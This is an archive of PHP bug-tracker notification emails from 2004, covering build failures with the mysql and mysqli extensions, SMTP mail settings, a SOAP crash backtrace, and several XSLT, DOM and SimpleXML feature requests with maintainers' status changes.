#29860 [NEW]: Cannot compile with mysql and mysqli extensions
From: rjanson at msn dot com Operating system: Redhat 9 PHP version: 5.0.1 PHP Bug Type: Compile Failure Bug description: Cannot compile with mysql and mysqli extensions Description: I cannot compile php 5.0.1 (nor 5.0.0) with mysql and mysqli extensions. I can compile with either/or. At this point I need both. I am using mysql 4.1.3 Configure runs with no issues. Reproduce code: --- My configure options: ./configure --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=etc --datadir=/usr/share --includedir=/usr/include --libdir=/usr/lib --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/usr/com --enable-inline-optimization --with-exec-dir=/usr/bin --with-layout=GNU --enable-magic-quotes --with-pear=/usr/share/pear --with-mysql=/usr/bin/mysql_config --with-mysqli=/usr/bin/mysqli_config --enable-versioning --with-apxs2=/usr/sbin/apxs --enable-sockets --with-zlib-dir=/usr/local --with-gd --with-ldap --without-sqlite Expected result: I expect PHP to compile with no errors, and to support both Mysql and Mysqli extensions. Actual result: -- I get several lines similar to the following: : multiple definition of `net_realloc' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x100): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x180): In function `net_clear': : multiple definition of `net_clear' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x180): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x1f0): In function `net_flush': : multiple definition of `net_flush' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x1f0): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x580): In function `net_real_write': : multiple definition of `net_real_write' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x580): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x240): In function `my_net_write': : multiple definition of `my_net_write' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x240): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x320): In function `net_write_command': : multiple definition of `net_write_command' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x320): first defined here /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x9c0): In function `my_net_read': : multiple definition of `my_net_read' /usr/lib/mysql/libmysqlclient.a(net.o)(.text+0x9c0): first defined here collect2: ld returned 1 exit status make: *** [libphp5.la] Error 1 -- Edit bug report at http://bugs.php.net/?id=29860edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29860r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29860r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29860r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29860r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29860r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29860r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29860r=needscript Try newer version: http://bugs.php.net/fix.php?id=29860r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29860r=support Expected behavior: http://bugs.php.net/fix.php?id=29860r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29860r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29860r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29860r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29860r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29860r=dst IIS Stability: http://bugs.php.net/fix.php?id=29860r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29860r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29860r=float
#29276 [Com]: Cannot properly send mail via SMTP from PHP 5, but can from previous versions
ID: 29276 Comment by: pipo dot de dot clown at circus dot horlepiep dot com Reported By: Austin519 at aol dot com Status: Bogus Bug Type: Mail related Operating System: Windows XP SP1 PHP Version: 5.0.0 New Comment: I had the same problem. It seamed that php.ini is not read. If I put php.ini in the c:\windows directory all was fine. It seems that SetEnv PHPRC in httpd.conf has no effect. (search for SetEnv PHRC on a search engine). http://www.manucorp.com/archives/php-bugs/200408/msg00794.php Previous Comments: [2004-08-05 23:19:18] [EMAIL PROTECTED] http://snaps.php.net/win32/php5.0-win32-latest.zip works fine for me. Make sure corrent php.ini files is read by looking at phpinfo() output. [2004-07-30 12:55:41] mpurdy at vicnet dot net dot au I have the same problem under Windows 2000 professional. If I use php-win.exe I can send an email without any problems. However php-cgi.exe and php.exe produce and error which is Warning: mail() [function.mail]: sendmail_from not set in php.ini or custom From: header missing in e:\http\mail.php on line 4 [2004-07-20 11:57:08] Austin519 at aol dot com Description: I am currently running PHP5 with Apache 2.0.49 and an open-source shopping cart solution OsCommerce (www.oscommerce.com). The OsCommerce email function is a standard one (I won't paste here) that sends standard or MIME emails depending on what you choose for it to send. Running PHP 4.3.1 I had no issues sending email, however after successfully upgrading to PHP5, I now receive an error. As I said, the email function is nothing deviating from most of the general working functions posted on the web. My php.ini lines that it would be referring to are below (edited out my domain name): [mail function] ; For Win32 only. SMTP = mail.mydomain.com smtp_port = 25 ; For Win32 only. sendmail_from = [EMAIL PROTECTED] Reproduce code: --- The specific line the error below refers to is here: return mail($to_addr, $subject, $this-output, 'From: ' . $from . $this-lf . 'To: ' . $to . $this-lf . implode($this-lf, $this-headers) . $this-lf . implode($this-lf, $xtra_headers)); The entire email function is here: http://www.modsp.com/email.php.txt Expected result: Emails are processed and sent to recipients. Actual result: -- Warning: mail() [function.mail]: sendmail_from not set in php.ini or custom From: header missing in \path_to_storefront\email.php on line 500 (edited out full path to storefront) -- Edit this bug report at http://bugs.php.net/?id=29276edit=1
#29861 [NEW]: Download
From: heinz dot fischer at sharkfisher dot ch Operating system: WIN2000 PHP version: 5.0.1 PHP Bug Type: *General Issues Bug description: Download Description: Download not found The file you requested (php-5.0.1-installer.exe) is not found on this server (http://ch2.php.net/). If this file is a recent addition to our downloads, then it is possible that this particular server is not yet updated to host that file for download. Please come back to this server later, or start the download from another mirror site. -- Edit bug report at http://bugs.php.net/?id=29861edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=29861r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=29861r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=29861r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=29861r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=29861r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=29861r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=29861r=needscript Try newer version: http://bugs.php.net/fix.php?id=29861r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=29861r=support Expected behavior: http://bugs.php.net/fix.php?id=29861r=notwrong Not enough info: http://bugs.php.net/fix.php?id=29861r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=29861r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=29861r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=29861r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=29861r=dst IIS Stability: http://bugs.php.net/fix.php?id=29861r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=29861r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=29861r=float
#29854 [Opn-Bgs]: information not updated
ID: 29854 Updated by: [EMAIL PROTECTED] Reported By: paul_song at uml dot edu -Status: Open +Status: Bogus Bug Type: *General Issues Operating System: PC PHP Version: 5CVS-2004-08-26 (dev) New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. . Previous Comments: [2004-08-26 18:44:58] paul_song at uml dot edu Description: The information given in DS needs updated. -- Edit this bug report at http://bugs.php.net/?id=29854edit=1
#29857 [Opn-Fbk]: Core dump while using PEAR::SOAP
ID: 29857 Updated by: [EMAIL PROTECTED] Reported By: adam at trachtenberg dot com -Status: Open +Status: Feedback Bug Type: Reproducible crash Operating System: Suse Linux 9.1 PHP Version: 5CVS-2004-08-26 (dev) New Comment: Thank you for this bug report. To properly diagnose the problem, we need a short but complete example script to be able to reproduce this bug ourselves. A proper reproducing script starts with ?php and ends with ?, is max. 10-20 lines long and does not require any external resources such as databases, etc. If possible, make the script source available online and provide an URL to it here. Try avoid embedding huge scripts into the report. Previous Comments: [2004-08-26 22:51:39] adam at trachtenberg dot com Description: While playing around with PEAR::SOAP under PHP 5, I can generate a core dump. Reproduce code: --- I don't have a short test script yet, because it requires me to unravel PEAR::SOAP, but I am providing a back trace. If this is not enough to solve the problem then I will try to find time to break PEAR::SOAP down into little pieces. :) Expected result: No crash. Actual result: -- #0 0x403b303e in _IO_new_file_xsputn () from /lib/tls/libc.so.6 #1 0x403a972f in fwrite () from /lib/tls/libc.so.6 #2 0x0825e0d6 in sapi_cli_single_write (str=0x0, str_length=6) at /usr/local/cvs/php-src/sapi/cli/php_cli.c:192 #3 0x0825c74e in sapi_cli_ub_write (str=0x0, str_length=6) at /usr/local/cvs/php-src/sapi/cli/php_cli.c:205 #4 0x081f33a5 in php_ub_body_write_no_header (str=0x0, str_length=6) at /usr/local/cvs/php-src/main/output.c:684 #5 0x081f1ff9 in php_body_write (str=0x0, str_length=6) at /usr/local/cvs/php-src/main/output.c:119 #6 0x081e38a8 in php_body_write_wrapper (str=0x0, str_length=6) at /usr/local/cvs/php-src/main/main.c:1246 #7 0x08229d64 in zend_print_zval_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0xbfffc6c0, indent=0) at /usr/local/cvs/php-src/Zend/zend.c:289 #8 0x08229ce2 in zend_print_zval (expr=0xbfffc290, indent=0) at /usr/local/cvs/php-src/Zend/zend.c:270 #9 0x08229421 in zend_print_variable (var=0xbfffc290) at /usr/local/cvs/php-src/Zend/zend_variables.c:154 #10 0x0822a153 in zend_print_zval_r_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0xbfffc290, indent=32) at /usr/local/cvs/php-src/Zend/zend.c:391 #11 0x08229fa0 in zend_print_zval_r (expr=0xbfffc290, indent=32) at /usr/local/cvs/php-src/Zend/zend.c:346 #12 0x08229773 in print_hash (ht=0x8640964, indent=28, is_object=0 '\0') at /usr/local/cvs/php-src/Zend/zend.c:148 #13 0x0822a039 in zend_print_zval_r_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0x8640924, indent=24) at /usr/local/cvs/php-src/Zend/zend.c:360 #14 0x08229fa0 in zend_print_zval_r (expr=0x8640924, indent=24) at /usr/local/cvs/php-src/Zend/zend.c:346 #15 0x08229773 in print_hash (ht=0x864d3cc, indent=20, is_object=0 '\0') at /usr/local/cvs/php-src/Zend/zend.c:148 #16 0x0822a039 in zend_print_zval_r_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0x864d38c, indent=16) at /usr/local/cvs/php-src/Zend/zend.c:360 #17 0x08229fa0 in zend_print_zval_r (expr=0x864d38c, indent=16) at /usr/local/cvs/php-src/Zend/zend.c:346 #18 0x08229773 in print_hash (ht=0x86142dc, indent=12, is_object=0 '\0') at /usr/local/cvs/php-src/Zend/zend.c:148 #19 0x0822a039 in zend_print_zval_r_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0x861452c, indent=8) at /usr/local/cvs/php-src/Zend/zend.c:360 #20 0x08229fa0 in zend_print_zval_r (expr=0x861452c, indent=8) at /usr/local/cvs/php-src/Zend/zend.c:346 #21 0x08229773 in print_hash (ht=0x866904c, indent=4, is_object=1 '\001') at /usr/local/cvs/php-src/Zend/zend.c:148 #22 0x0822a13d in zend_print_zval_r_ex ( write_func=0x81e3887 php_body_write_wrapper, expr=0x8633554, indent=0) at /usr/local/cvs/php-src/Zend/zend.c:385 #23 0x08229fa0 in zend_print_zval_r (expr=0x8633554, indent=0) at /usr/local/cvs/php-src/Zend/zend.c:346 #24 0x0816ee9e in zif_print_r (ht=1, return_value=0x863466c, this_ptr=0x0, return_value_used=0) at /usr/local/cvs/php-src/ext/standard/basic_functions.c:2750 #25 0x082538e3 in zend_do_fcall_common_helper (execute_data=0xbfffcd50) at /usr/local/cvs/php-src/Zend/zend_execute.c:2980 #26 0x0825405c in zend_do_fcall_handler (execute_data=0xbfffcd50) at /usr/local/cvs/php-src/Zend/zend_execute.c:3114 #27 0x0824fcc3 in execute (op_array=0x836368c) at /usr/local/cvs/php-src/Zend/zend_execute.c:1498 #28 0x0822b530 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /usr/local/cvs/php-src/Zend/zend.c:1052 #29 0x081e42e9 in
#29462 [Opn-Bgs]: lost post data
ID: 29462 Updated by: [EMAIL PROTECTED] Reported By: gary at garyslittlecompany dot com -Status: Open +Status: Bogus Bug Type: CGI related Operating System: wxp PHP Version: 4.3.9 New Comment: Marking as Bogus then, as it's not a bug in PHP proper. Previous Comments: [2004-08-27 01:13:49] golden_moon_rising at yahoo dot com Found it. A third-party patch was choking. The problem had nothing to do with the source code shipped with PHP 4.3.9. To anyone else with this problem, try removing any third-party patches first .. [2004-08-24 02:24:04] golden_moon_rising at yahoo dot com Yup, confirmed. I am using a FastCGI SAPI 4.3.9-dev (php4-STABLE-200408091430), and having the same issue: When a trivial HTML-only web page with a single input item, a textarea, contains more than 1000 characters, the post data is lost by PHP. When I point the form to a Perl CGI, I can see all the text, but pointing the form to a trivial PHP script that does var_dump on $_REQUEST, I get an empty array. If I remove a single byte from the text area, presto .. everything looks/works normal. This was a tad frustrating to isolate. Now to dig through PHP code to see what the heck is happening at the 1,000th character. First, I will download the latest snapshot .. [2004-07-30 22:17:34] gary at garyslittlecompany dot com Description: Please see my last note to bug #22427. I am experiencing the same problem, I would not submit this again, except, it appears that I can not change the status to open again, since I am not the owner, so I added this to one to point to that. -- Edit this bug report at http://bugs.php.net/?id=29462edit=1
#29842 [Opn-Csd]: soapclient return null value
ID: 29842 Updated by: [EMAIL PROTECTED] Reported By: mobi at delfnet dot pL -Status: Open +Status: Closed Bug Type: SOAP related Operating System: Win2000 SP4 PHP Version: 5CVS-2004-08-26 (dev) Assigned To: dmitry New Comment: Fixed in CVS (HEAD PHP_5_0) Previous Comments: [2004-08-26 23:49:16] mobi at delfnet dot pL In my code above should be: print_r($wsdl-register($RegistrationData)); //not $RegistrationData_Type I have tried php5-win32-200408261830.zip snapshot and the return value is still null. [2004-08-26 14:58:09] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5-latest.tar.gz For Windows: http://snaps.php.net/win32/php5-win32-latest.zip Please try a snapshot dated AFTER Aug 26, 2004 13:00 GMT from snaps.php.net then. [2004-08-26 14:53:11] [EMAIL PROTECTED] I cannot reproduce the bug. I got Consumer Name Parameter Missing exception. I hope, this is the same bug as #29844 that is just fixed in CVS. [2004-08-25 20:55:40] mobi at delfnet dot pL Description: SOAP result is null (wsdl file is correct and WebService works). The following pice of code explain the problem: Reproduce code: --- $wsdl = new SoapClient('http://wsrp.netunitysoftware.com/WSRPTestService/WSRPTestService.asmx?Operation=WSDL',array('trace' = 1)); $RegistrationData = array(consumerName = test, consumerAgent = test.1.0, methodGetSupported = false, consumerModes = array('wsrp:view','wsrp:edit'), consumerWindowStates = array('wsrp:view','wsrp:edit'), consumerUserScopes = array(), customUserProfileData = array(), registrationProperties = array(), extensions = array()); print_r($wsdl-register($RegistrationData_Type)); Expected result: SOAP RESULT: ?xml version=1.0 encoding=utf-8?soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/; xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance; xmlns:xsd=http://www.w3.org/2001/XMLSchema; soap:Body registerResponse xmlns=urn:oasis:names:tc:wsrp:v1:types registrationHandle1f9c4223-ce73-4cdf-b24f-fdd15d2066ad/registrationHandle /registerResponse /soap:Body /soap:Envelope print: Array ( [registrationHandle] = 1f9c4223-ce73-4cdf-b24f-fdd15d2066ad ) Actual result: -- SOAP RESULT: the same as bottom print: NULL -- Edit this bug report at http://bugs.php.net/?id=29842edit=1
#29858 [Opn-Bgs]: Make error
ID: 29858 Updated by: [EMAIL PROTECTED] Reported By: pdcuong48xd at yahoo dot fr -Status: Open +Status: Bogus Bug Type: Unknown/Other Function Operating System: Redhat 10 (Fedora Core 1) PHP Version: 5.0.1 New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. . Previous Comments: [2004-08-27 05:52:48] pdcuong48xd at yahoo dot fr Description: The lastest 2 error lines are : ( when I typed make ) ln: creating hard link `ctype.o' to `ctype.lo': Operation not permitted make: *** [libphp4.la] Error 1 And the same 2 lines when typed make install Can anyone help ? And one more question : Does PHP 5.0.1 work well with Apache 2.0.5 ? ( I want to use the lastest version ) Thanks very much ! -- Edit this bug report at http://bugs.php.net/?id=29858edit=1
#29837 [Opn-Ver]: disable-output-escaping = yes, ignored
ID: 29837 Updated by: [EMAIL PROTECTED] Reported By: tetsuo at scriptsphp dot org -Status: Open +Status: Verified Bug Type: XSLT related Operating System: Linux PHP Version: 5.0.1 New Comment: I'll try to have a look at it, when my time permits... Previous Comments: [2004-08-25 16:37:29] tetsuo at scriptsphp dot org Description: CDATA sections in XSL templates that are enclosed in xsl:text disable-output-escaping=yes give output that IS escaped but shouldn't be. I've been testing the transformation with xsltproc and everything behaves correctly. libxslt Version 1.1.6 libxslt compiled against libxml Version 2.6.9 Reproduce code: --- http://tetsuo.scriptsphp.net:81/XsltTest.php http://tetsuo.scriptsphp.net:81/xslttest/test.xsl http://tetsuo.scriptsphp.net:81/xslttest/test.xml Expected result: ... nbsp; ... Actual result: -- ... amp;nbsp; ... -- Edit this bug report at http://bugs.php.net/?id=29837edit=1
#29861 [Opn-Bgs]: Download
ID: 29861 Updated by: [EMAIL PROTECTED] Reported By: heinz dot fischer at sharkfisher dot ch -Status: Open +Status: Bogus Bug Type: *General Issues Operating System: WIN2000 PHP Version: 5.0.1 New Comment: Please do not submit the same bug more than once. An existing bug report already describes this very problem. Even if you feel that your issue is somewhat different, the resolution is likely to be the same. Thank you for your interest in PHP. . Previous Comments: [2004-08-27 08:45:39] heinz dot fischer at sharkfisher dot ch Description: Download not found The file you requested (php-5.0.1-installer.exe) is not found on this server (http://ch2.php.net/). If this file is a recent addition to our downloads, then it is possible that this particular server is not yet updated to host that file for download. Please come back to this server later, or start the download from another mirror site. -- Edit this bug report at http://bugs.php.net/?id=29861edit=1
#9976 [Opn-Csd]: No DTD support in DOM functions
ID: 9976 Updated by: [EMAIL PROTECTED] Reported By: gcs at agentsinside dot com -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: Linux (Debian 2.2 rev2) PHP Version: 4.0.4pl1 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php Previous Comments: [2001-03-25 08:50:34] gcs at agentsinside dot com I can not add any DTD to the XML document. There is no way for it, altough I think it would be easy to add. For me it is a problem, as I must create a valid document, not just a well-formed one. -- Edit this bug report at http://bugs.php.net/?id=9976edit=1
#15242 [Ana-Csd]: PHP functions as extensions for libxslt
ID: 15242 Updated by: [EMAIL PROTECTED] Reported By: flying at dom dot natm dot ru -Status: Analyzed +Status: Closed Bug Type: Feature/Change Request Operating System: Any PHP Version: 4.1.1 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php Previous Comments: [2002-02-22 04:38:22] flying at dom dot natm dot ru Extensibility is a part os XSLT specification, so i don't see any evilness of this functionality. Yes, it will force some particular XSLT templates to be used only together with PHP, but there is a reason of doing it - speed. You know, XSLT is not a fastest language on the earth :) And, moreover, there is available some small tasks, when one simple function on PHP can solve a problem, much easier, then a bundle on XSLT code. I already have some stylesheets, which are executed in 10-15 seconds, while only one small PHP function will reduce their execution time to 1-2 sec. And more extensive usage of XSLT will grow such situations... [2002-02-22 04:17:10] [EMAIL PROTECTED] I'm not sure, if this makes sense. You loose the whole interoperability idea of xslt (your stylesheets will only run on PHP) and you will mix again design and logic (ok, xslt allows you to do that already now..). I do see, that it could be quite handy from time to time and maybe i will implement it (some kind of evil eval...), but it's absolutely not on top of my priority list. [2002-02-22 03:39:44] flying at dom dot natm dot ru Current version of DOM XML module, available in CVS only have support for EXSLT, now available into libxslt. But this feature request means adding possibility for PHP developers to define their own extension functions/extension elements for XSLT, written directly in PHP. According to libxslt documentation (http://xmlsoft.org/XSLT/extensions.html) DOM XML module in PHP should have a kind of converter between PHP functions and extension functions for libxslt. From a PHP's point of view it should look like this: PHP: ?php // Creating new stylesheet $xsl = new XsltStylesheet(); $xsl-register_ns('ext','http://www.my-extensions.com/'); // Register custom extension function // At enter we give name of it, which will be used in XSLT // and name of actual PHP function $xsl-register_extension_function('ext:my_func','myExtension'); function myExtension(p1,p2,p3) { return(p1+p2+p3); }; ? XSLT: = . xsl:value-of select=ext:my_func(2,3,4)/ . [2002-01-28 21:25:32] [EMAIL PROTECTED] I don't use it (yet), but it's in PHP now. [2002-01-27 07:36:22] flying at dom dot natm dot ru Since DOM XML extension now have a code to work with libxslt (at least version of DOM XML extension, available in CVS) and libxslt have an ability to create extensions for XSLT it will be absolutely great to allow writing extensions on PHP. Is there any plans to implement this functionality? Because sometimes it is very important. -- Edit this bug report at http://bugs.php.net/?id=15242edit=1
#18200 [Opn-Csd]: xpath_eval should return a reference to the DOM node and not a copy
ID: 18200 Updated by: [EMAIL PROTECTED] Reported By: lrargerich at yahoo dot com -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: All PHP Version: 4.2.1 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php This is certainly fixed in PHP 5, don't know about PHP 4, but we won't add features to PHP 4 anyway Previous Comments: [2002-07-06 14:23:37] [EMAIL PROTECTED] reclassify [2002-07-06 14:06:51] lrargerich at yahoo dot com Now, the xpath_eval function returns a copy of the DOM nodes in the nodeset array, in my opinion the nodeset should be an array of references to DOMNodes in the tree. In this way if you change a node in the result set the document changes. If you find this problematic for existing applications you might want to add an aditional parameter to xpath_eval allowing the user to indicate if he wants references or copies back. However in my opinion xpath_eval should return references and if the user wants a copy he just makes the copy himself. This change allows a lot of interesting features to XML editing using Xpath selectors from PHP. This will allow, for example, an easy implementation of XUpdate using the DOM extension. Thanks for reading my suggestion. -- Edit this bug report at http://bugs.php.net/?id=18200edit=1
#23172 [Opn-WFx]: [RFE] Support for XSLT chaining
ID: 23172 Updated by: [EMAIL PROTECTED] Reported By: flying at dom dot natm dot ru -Status: Open +Status: Wont fix Bug Type: Feature/Change Request Operating System: All PHP Version: 4.3.1 New Comment: PHP 4 won't get any new features, and the sablotron extension is not anymore in PHP 5. what's XSLT chaining anyway? Previous Comments: [2003-04-11 19:24:16] [EMAIL PROTECTED] Changed category to Feature Request. [2003-04-11 13:14:36] flying at dom dot natm dot ru It will be great to see support for XSLT stylesheets chaining, introduced into Sablotron 0.98, into PHP bindings for this library. -- Edit this bug report at http://bugs.php.net/?id=23172edit=1
#24015 [Opn-Csd]: DOMXML: xpath-free()
ID: 24015 Updated by: [EMAIL PROTECTED] Reported By: rbro at hotmail dot com -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: RedHat 7.3 PHP Version: 4.3.2 New Comment: Thank you for your bug report. This issue has already been fixed in the latest released version of PHP, which you can download at http://www.php.net/downloads.php Previous Comments: [2003-06-04 23:10:33] [EMAIL PROTECTED] reclassified. [2003-06-04 11:56:53] rbro at hotmail dot com Where would I go to add a feature request? Also, do you have any short-term workarounds for this? I currently have a CLI script trying to process several thousand xml streams, and right now, it's using up all my RAM (512 MB) and all my virtual memory. Thanks. [2003-06-04 10:58:31] [EMAIL PROTECTED] Currently you cant. You can add it as a feature request, but I cant say when or if it will be implemented. [2003-06-04 10:43:24] rbro at hotmail dot com Thanks for your reply - How do I free() the xpath object in the middle of my loop? I don't believe there is a xpath-free() function. [2003-06-04 10:30:04] [EMAIL PROTECTED] As illustrated in your example, without the xpath context usage, memory uage remains constant. DomDocument-free will just free the document in memory. The memory increase you see is coming from the xpath objects you keep creating. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24015 -- Edit this bug report at http://bugs.php.net/?id=24015edit=1
#24993 [Opn]: Suggestion for DOM - creating XML documents with structure from a recordset
ID: 24993 Updated by: [EMAIL PROTECTED] Reported By: kris_beyers at hotmail dot com Status: Open Bug Type: Feature/Change Request Operating System: WindowsXP PHP Version: 4.3.2 New Comment: This can easily be implemented in PHP code and will not go into the extension at all Or look at XML_sql2xml in pear, it does something like that. Although not based on a DTD Previous Comments: [2003-08-08 21:06:00] kris_beyers at hotmail dot com Description: Hi All, It's not really a bug, but suggestion.. couldn't find a post address for that :oS I just came up a nice suggestion for the XML DOM.. Now we still program with loops to give the rows, comming from the database-table, to DOM. Whereupon DOM creates an XML document.. like this example http://forums.devshed.com/archive/5/2003/02/3/52511 I was wondering if we could DOM do the transformation from a recordset directly to XML data, using a DTD (or XSD) file for the structure. DOM itself would look for the column names(or even synonyms of column names) in the recordset itself and match them with the names found in the DTD (or XSD) file, an error will occur if one name is not found. When there are multiple rows, DOM will loop to process each row. The validation of data types should still occur only during design time. This way the loops in the serverscript are gone :o) I know Microsoft has something like that, but they don't use DTD (or XSD) or other to build a structure.. Hope you like the idea. With kind regards Kris Beyers -- Edit this bug report at http://bugs.php.net/?id=24993edit=1
#24993 [Opn-WFx]: Suggestion for DOM - creating XML documents with structure from a recordset
ID: 24993 Updated by: [EMAIL PROTECTED] Reported By: kris_beyers at hotmail dot com -Status: Open +Status: Wont fix Bug Type: Feature/Change Request Operating System: WindowsXP PHP Version: 4.3.2 Previous Comments: [2004-08-27 10:24:03] [EMAIL PROTECTED] This can easily be implemented in PHP code and will not go into the extension at all Or look at XML_sql2xml in pear, it does something like that. Although not based on a DTD [2003-08-08 21:06:00] kris_beyers at hotmail dot com Description: Hi All, It's not really a bug, but suggestion.. couldn't find a post address for that :oS I just came up a nice suggestion for the XML DOM.. Now we still program with loops to give the rows, comming from the database-table, to DOM. Whereupon DOM creates an XML document.. like this example http://forums.devshed.com/archive/5/2003/02/3/52511 I was wondering if we could DOM do the transformation from a recordset directly to XML data, using a DTD (or XSD) file for the structure. DOM itself would look for the column names(or even synonyms of column names) in the recordset itself and match them with the names found in the DTD (or XSD) file, an error will occur if one name is not found. When there are multiple rows, DOM will loop to process each row. The validation of data types should still occur only during design time. This way the loops in the serverscript are gone :o) I know Microsoft has something like that, but they don't use DTD (or XSD) or other to build a structure.. Hope you like the idea. With kind regards Kris Beyers -- Edit this bug report at http://bugs.php.net/?id=24993edit=1
#27709 [Opn-Csd]: SimpleXML: Add registerNamespace() method like in dom
ID: 27709 Updated by: [EMAIL PROTECTED] Reported By: fjortiz at comunet dot es -Status: Open +Status: Closed Bug Type: Feature/Change Request Operating System: Irrelevant PHP Version: 5.0RC3-dev New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. it's called registerXPathNamespace() Previous Comments: [2004-06-07 09:45:29] [EMAIL PROTECTED] Or use the xpath expression recommended by Rob // *[local-name() = 'a']. It's a feature request. Reclassified. [2004-06-04 11:59:29] [EMAIL PROTECTED] This *is* a bug, SimpleXML does not provide a registerNamespace() method like the DOM XPath implementation does. Without this, the XPath implementation in SimpleXML is crippled. So its half a bug, and half a feature request. This *needs* to be added before 5.0 final IMO The only way I can get this to workright now is: $xml =EOF ?xml version=1.0 ? xml xmlns=http://bar; child attribute=value1 morechildren / morechildren / morechildren / morechildren / /child /xml EOF; $simple_xml = simplexml_load_string($xml); // Add a namespace with the same URI as the default $simple_xml['xmlns:bar'] = http://bar;; // Reload the XML so the namespace is recognised $simple_xml = simplexml_load_string($simple_xml-asXML()); - Davey [2004-03-26 08:09:55] [EMAIL PROTECTED] Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php This is an XPath limitation. You need to use an expression like //*[local-name() = 'a'] or dont use default namespaces. [2004-03-26 04:51:30] fjortiz at comunet dot es Description: Hi, this example works with SimpleXML xpath: $string = XML ?xml version=1.0 encoding =UTF-8 ? a xmlns:ns=urn:1 b ctext/c cstuff/c /b d ccode/c /d /a XML; $xml = simplexml_load_string($string); $res = $xml-xpath('//a'); // returns array(1) But if we don't use a namespace prefix (default namespace), xpath, returns an empty array, array(0), for any xpath search: $string = XML ?xml version=1.0 encoding =UTF-8 ? a xmlns=urn:1 b ctext/c cstuff/c /b d ccode/c /d /a XML; $xml = simplexml_load_string($string); $res = $xml-xpath('//a'); // returns array(0) This is a simple example, I found the problem with a bigger XML file (a WSDL file). This WSDL has 5 namespaces defined, and no problem at all with SimpleXML, as long as you don't define a default namespace... Thanks for your attention -- Edit this bug report at http://bugs.php.net/?id=27709edit=1
#29243 [Opn]: SimpleXML: add nodeName and localName
